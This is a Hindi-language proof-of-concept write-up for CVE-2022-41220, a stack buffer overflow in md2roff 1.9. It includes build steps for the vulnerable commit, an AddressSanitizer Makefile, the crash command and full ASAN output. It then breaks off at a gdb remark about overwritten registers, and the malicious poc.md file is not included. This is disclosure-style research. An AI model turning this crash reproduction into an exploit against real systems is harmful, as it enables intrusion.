
CVE-2022-41220 के लिए प्रूफ ऑफ कॉन्सेप्ट
md2roff 1.9 एक Markdown फ़ाइल के माध्यम से स्टैक-आधारित बफर ओवरफ़्लो से ग्रस्त है जिसमें प्रसंस्करण के लिए बड़ी संख्या में लगातार वर्ण होते हैं।
भेद्यता को दोहराने के लिए, md2roff का एक असुरक्षित संस्करण (संस्करण 1.9) डाउनलोड करें:
git clone https://github.com/nereusx/md2roff.git
cd md2roff
git checkout 9241b8cfeb687c57099f3ef45f03a8ad3f291cf4
make
एक बार प्रोजेक्ट संकलित हो जाने पर, हम अपने फ़ज़ परीक्षणों द्वारा उत्पन्न एक दुर्भावनापूर्ण Markdown फ़ाइल को प्रोसेस करके प्रोग्राम क्रैश को दोहरा सकते हैं:
./md2roff poc.md
पिछला आदेश निष्पादित करने पर एक segfault उत्पन्न होगा:
segmentation fault ./md2roff poc.md
प्रोजेक्ट को एड्रेस सैनिटाइज़र (ASAN) के साथ संकलित करने से हमारा स्टैक बफर ओवरफ़्लो की पुष्टि होती है:
#
# GNU make
#
prefix ?= /usr/local
bindir ?= $(prefix)/bin
mandir ?= $(prefix)/share/man
man1dir ?= $(mandir)/man1
LIBS = -lc
CFLAGS = -std=c99 -fsanitize=address
all: md2roff md2roff.1.gz
md2roff: md2roff.c
$(CC) $(CFLAGS) md2roff.c -o md2roff $(LDFLAGS) $(LIBS)
md2roff.1.gz: md2roff.md md2roff
./md2roff --synopsis-style=1 md2roff.md > md2roff.1
-groff md2roff.1 -Tpdf -man -P -e > md2roff.1.pdf
./md2roff -z --synopsis-style=1 md2roff.md > md2roff.1
gzip -f md2roff.1
install: md2roff md2roff.1.gz
mkdir -p -m 0755 $(DESTDIR)$(bindir) $(DESTDIR)$(man1dir)
install -m 0755 -s md2roff $(DESTDIR)$(bindir)
install -m 0644 md2roff.1.gz $(DESTDIR)$(man1dir)
uninstall:
rm -f $(DESTDIR)$(bindir)/md2roff $(DESTDIR)$(man1dir)/md2roff.1.gz
clean:
rm -f *.o md2roff md2roff.1*
$ ./md2roff poc.md
=================================================================
==15685==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffedb68e230 at pc 0x55ab4ac56d64 bp 0x7ffedb68e020 sp 0x7ffedb68e018
WRITE of size 1 at 0x7ffedb68e230 thread T0
#0 0x55ab4ac56d63 in md2roff (/home/kali/projects/fuzzing/fuzz_targets/md2roff/md2roff+0x10d63)
#1 0x55ab4ac598c0 in main (/home/kali/projects/fuzzing/fuzz_targets/md2roff/md2roff+0x138c0)
#2 0x7f589f446189 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#3 0x7f589f446244 in __libc_start_main_impl ../csu/libc-start.c:381
#4 0x55ab4ac4d3a0 in _start (/home/kali/projects/fuzzing/fuzz_targets/md2roff/md2roff+0x73a0)
Address 0x7ffedb68e230 is located in stack of thread T0 at offset 80 in frame
#0 0x55ab4ac50d7e in md2roff (/home/kali/projects/fuzzing/fuzz_targets/md2roff/md2roff+0xad7e)
This frame has 6 object(s):
[32, 40) 'tt' (line 724)
[64, 80) 'num' (line 1140) <== Memory access at offset 80 overflows this variable
[96, 352) 'secname' (line 662)
[416, 672) 'appname' (line 662)
[736, 992) 'appsec' (line 662)
[1056, 1312) 'appdate' (line 662)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/kali/projects/fuzzing/fuzz_targets/md2roff/md2roff+0x10d63) in md2roff
Shadow bytes around the buggy address:
0x10005b6c9bf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005b6c9c00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005b6c9c10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005b6c9c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005b6c9c30: 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1
=>0x10005b6c9c40: f8 f2 f2 f2 00 00[f2]f2 00 00 00 00 00 00 00 00
0x10005b6c9c50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005b6c9c60: 00 00 00 00 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2
0x10005b6c9c70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005b6c9c80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005b6c9c90: f2 f2 f2 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==15685==ABORTING
यदि आप प्रोग्राम को gdb के साथ चलाते हैं, तो आप देख सकते हैं कि वर्णों के हमारे बड़े बफर द्वारा रजिस्टरों को अधिलेखित किया जा रहा है: